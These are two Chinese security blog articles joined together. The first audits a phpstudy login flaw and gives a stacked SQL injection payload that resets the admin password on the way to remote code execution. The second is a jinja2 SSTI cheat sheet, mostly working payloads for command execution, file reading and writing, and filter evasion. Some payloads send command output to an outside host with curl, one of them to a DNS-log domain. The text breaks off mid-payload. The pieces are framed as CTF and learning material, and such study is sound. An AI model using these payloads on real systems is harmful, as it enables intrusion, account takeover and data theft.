小皮1-click漏洞的代码审计学习笔记
漏洞简介 漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。 环境搭建 windows 上实际操作了一下,不方便进行分析 于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码 wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh 修改代码 web/service/app/account.php 中登录的部分 if($type=='login'){ $username = post('username'); $pwd = post('password'); $verifycode = post('verifycode'); $res = Account::login($username,$pwd,$verifycode); xpexit(json_encode($res)); }    打开代码 /usr/local/phpstudy/web/service/app/account.php 修改代码    漏洞复现 windows 在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果 import hashlib str = "123456" for i in range(0,5):    str = hashlib.md5(str.encode()).hexdigest() print(str)   ‍ admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--    虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录   ‍ Linux 在用户登录处构造 payload admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--    错误类型并不相同,但也成功的将密码修改 漏洞分析 查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090 9080 对应的是 web 端的信息 8090 对应的是二进制程序    外部访问不到 8090 端口 只能再内部构造数据进行通信    项目的代码在 /usr/local/phpstudy/web web/service/app/account.php    web/service/app/model/Account.php    通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理    我们可以根据代码逻辑伪造 socket 请求 {"command":"login","data":{"username":"admin","pwd":"123456"}}^^^    利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload {"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^    获取到登录时对应的 SQL 语句 SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0 根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。 这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名 admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';-- 拼接到 SQL 语句中就为 SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0 最终执行的 SQL 语句为 SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin'; 将用户 admin 的 密码修改为了 123456 再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。 第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误    输入构造的 payload        再次利用 admin/123456 登录成功,用户的密码已经被修改
SSTI之细说jinja2的常用构造及利用思路
现在关于ssti注入的文章数不胜数,但大多数是关于各种命令语句的构造语句,且没有根据版本、过滤等具体细分,导致读者可能有一种千篇一律的感觉。所以最近详细整理了一些SSTI常用的payload、利用思路以及题目,谨以结合题目分析以及自己的理解给uu们提供一些参考,如有写错的地方,还望大佬们轻喷。 在介绍下ssti(服务端模板注入)的具体成因及案例之前,有必要先引入模板引擎的概念。 模板引擎介绍 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。 其不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。 SSTI(服务端模板注入)攻击 SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序 各框架模板结构如下图所示: 实例 这里使用python的flask框架测试ssti注入攻击的过程。 from flask import Flask, render_template, request, render_template_string app = Flask(__name__) @app.route('/ssti', methods=['GET', 'POST']) def sb():    template = '''       <div class="center-content error">           <h1>This is ssti! %s</h1>       </div>   ''' % request.args["x"]    return render_template_string(template) if __name__ == '__main__':    app.debug = True    app.run() 本地测试如下: 发现存在模板注入 获得字符串的type实例 ?name={{"".__class__}} 这里使用的置换型模板,将字符串进行简单替换,其中参数x的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 {{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 以flask的jinja2引擎为例,官方的模板语法如下: {% ... %} 用于声明,比如在使用for控制语句或者if语句时 {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '1+1' 这个表达式 {# ... #} 用于模板注释 # ... ## 用于行语句,就是对语法的简化 #...#可以有和{%%}相同的效果 由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下图通过 SSTI 命令执行成功执行 whoami 命令: {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}} 可以看到命令被成功执行了。下面讲下构造的思路: 一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。 上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。 常用的方法 __class__            类的一个内置属性,表示实例对象的类。 __base__             类型对象的直接基类 __bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__              查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__             初始化类,返回的类型是function __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身. __import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__()            返回描写这个对象的字符串,可以理解成就是打印出来。 url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app          应用上下文,一个全局变量。 config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g                   {{g}}得到<flask.g of 'flask_ssti'> dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值 dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。 此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1   get传参 request.values.x1 所有参数 request.cookies      cookies参数 request.headers      请求头参数 request.form.x1   post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) [].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用 或者 [].__class__.__bases__[0]       //其他的类似 __new__功能:用所给类创建一个对象,并且返回这个对象。 常用的过滤器 详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的,有待补充。 issubclass(A,B): 判断A类是否是B类的子类 int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度,别名是count select() 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值 可以用来获取字符串 实际使用为 ()|select|string 结果如下 <generator object select_or_reject at 0x0000022717FF33C0> 常用的构造语句 接着是总结的一些常用的命令执行语句。 无过滤 # 读文件 #读取文件类,<type ‘file’> file位置一般为40,直接调用 {{[].__class__.__base__.__subclasses__()[40]('flag').read()}} {{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}} {{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}} {{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3) #直接使用popen命令,python2是非法的,只限于python3 os._wrap_close 类里有popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}} #调用os的popen执行命令 #python2、python3通用 {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}} {{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}} #python3专属 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}} #调用eval函数读取 #python2 {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}} {{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}} {{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}} #python3 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} {{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}} {{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}} {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} #调用 importlib类 {{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}} #调用linecache函数 {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}} {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}} {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}} #调用communicate()函数 {{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} #写文件 写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。 {{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__ {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}} #通用 getshell 原理就是找到含有 __builtins__ 的类,然后利用。 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 上面这些语句也不是说一成不变的随意套题目,还需要根据是否有过滤、框架是否有该可利用类、python版本高低等进行构造利用链,等下面说到利用思路时再结合例题分析,接着总结有过滤的情况。 有过滤 绕过 . 中括号[]绕过 可以利用 [ ]代替 . 的作用。 {{().__class__}} 可以替换为: {{()["__class__"]}} 举例: {{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}} attr()绕过 使用原生 JinJa2 的 attr() 函数。 {{().__class__}} 可以替换为: {{()|attr("__class__")}} {{getattr('',"__class__")}} 举例: {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} 绕过单双引号 request绕过 flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过。 request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd     #分析: request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。 若args被过滤了,还可以使用values来接受GET或者POST参数。 其他方法的例子,可根据题目过滤的东西动态调整方法来进行绕过 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd chr绕过 如果使用GET请求时,+号记得url编码,要不会被当作空格处理。 {% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} 绕过关键字 反转或+号 使用切片将逆置的关键字顺序输出,进而达到绕过。 ""["__cla""ss__"] "".__getattribute__("__cla""ss__") 反转 ""["__ssalc__"][::-1] "".__getattribute__("__ssalc__"[::-1]) 利用"+"进行字符串拼接,绕过关键字过滤。 {{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} join拼接 利用join()函数来绕过关键字过滤,和使用+号连接大差不差。 {{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}} 利用引号绕过 以用 或 的形式来绕过:fl""ag``fl''ag。 {{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}} 使用str原生函数replace替换 将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。 {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} ascii转换 将每一个字符都转换为ascii值后再拼接在一起。 "{0:c}".format(97)='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__' 16进制编码绕过 我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过: "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 例子: {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}} base64编码 对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。 "__class__"==("X19jbGFzc19f").decode("base64") 例子: {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}} 等价于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} unicode编码 {%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%} lipsum.__globals__['os'].popen('tac /f*').read() Hex编码 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}} 等价于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 8进制编码 {{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}} 可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。 利用chr函数 因为我们没法直接使用chr函数,所以需要通过__builtins__找到他 {% set chr=url_for.__globals__['__builtins__'].chr %} {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}} 在jinja2可以使用~进行拼接 {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} 绕过init 可以用__enter__或__exit__替代 {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}} 绕过config 过滤了config,直接用self.dict就能找到里面的config {{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}} 绕过中括号[ ] 利用 getitem绕过 先用列表演示说明getitem()函数的作用是输出序列属性中的某个索引处的元素。 Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi'{{"".__class__.__mro__[2]}  可以替换为: {{"".__class__.__mro__.__getitem__(2) 例子: {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} 等价于 {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}} 魔术方法中的[] 调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号,可以使用getattribute进行绕过。 object.__getattribute__(self, name)是一个对象方法,当访问某个对象的属性时,会无条件的调用这个方法。 {{"".__getattribute__("__cla"+"ss__").__base__}} 配合request {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ 例子: {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami pop()绕过 {{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}}       // 指定序列属性 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性 但是应慎用pop()方法,因为在python中pop()会删除相应位置的值,在列表里就是默认输出最后一个元素并将其删除。 绕过大括号{{}} ①使用{%%} 装载一个循环控制语句来绕过: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} ②用print进行标记,得到回显 {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%} ③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %} 绕过下划线__ 利用request对象绕过 {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ 等价于 {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 绕过" ' [] 对于多个过滤的话,就在无过滤的基础上,将过滤的字符用上面各自对应的方法进行逐一替换后在拼接即可。 像这里的过滤了单双引号及中括号,那就用request方法代替''、',用pop方法替换中括号 payload {{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*') 绕过 " ' [] _ 利用request.cookies.name,接着使用flask自带的attr `' '|attr('__class__')`等价于`' '.__class__` 这是一个 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( )分割。如:attr()``attr()``| foo|attr("bar")   等同于   foo["bar"] 对于多种符号同时过滤,考虑用|attr( )结合其他方法进行绕过有强大的功能。 lipsum是一个方法,其调用__globals__可以直接使用os执行命令 {{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} 例子: {{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} Cookie: a=__globals__;b=cat /f* 绕过 " ' [] _ os 多过滤了os关键字,可以使用request.cookies.a绕过即可,在刚刚绕过 " ' [] _的基础上在最后的传参数将os传入即可达到绕过。payload {{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}} Cookie: a=__globals__;b=os;c=cat /f* 绕过 " ' [] _ os {{ }} 在刚刚的基础上再多过滤大括号,使用print来标记使其有回显。payload ?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%} Cookie: a=__globals__;b=os;c=cat /f* 绕过 " ' arg [] _ os {{ }} request 使用~拼接pop组合出的各个字符,最后在拼接在一起达到绕过。payload {% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list). 等价于: {% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%} 或者使用chr: {%set po=dict(po=a,p=a)|join%} #pop {%set xia=(()|select|string|list).pop(24)%} #_ {%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__ {%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__ {%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__ {%set a=(lipsum|attr(glo)).get(built)%} {%set chr=a.chr%} #chr() 例子: {%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~ 等价于: {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%} 使用下面的脚本来获得ascii码 <?php //使用chr绕过ssti过滤引号 $str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()"; $result=''; for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~'; } echo substr($result,0,-1); 绕过 " ' [] _ os {{ }} 数字 数字可以使用全角数字替代。payload {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} 将半角数字转换为全角的脚本如下: # 绕过ban数字 def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0xfee0)        elif ord(ch) == 32:            ch = chr(0x3000)        else:            pass        full += ch    return full t='' while 1:    s = input("输入想要的数字")    for i in s:        t+=half2full(i)    print(t) 绕过 " ' arg [] _ os {{ }} 数字 print 使用全角数字和chr进行命令执行,但是结果要使用在线dns外带。 <?php //使用chr绕过ssti过滤引号 $str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')"; $result=''; for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~'; } echo substr($result,0,-1); 将普通数字变成全角的脚本如下: #正则匹配出字符串中的数字,然后返回全角数字 import re str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~c """ result="" def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0xfee0)        elif ord(ch) == 32:            ch = chr(0x3000)        else:            pass        full += ch    return full for i in re.findall('\d{2,3}',str):    result+="chr("+half2full(i)+")~"    print(i) print(result[:-1]) payload: ?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%}{% set 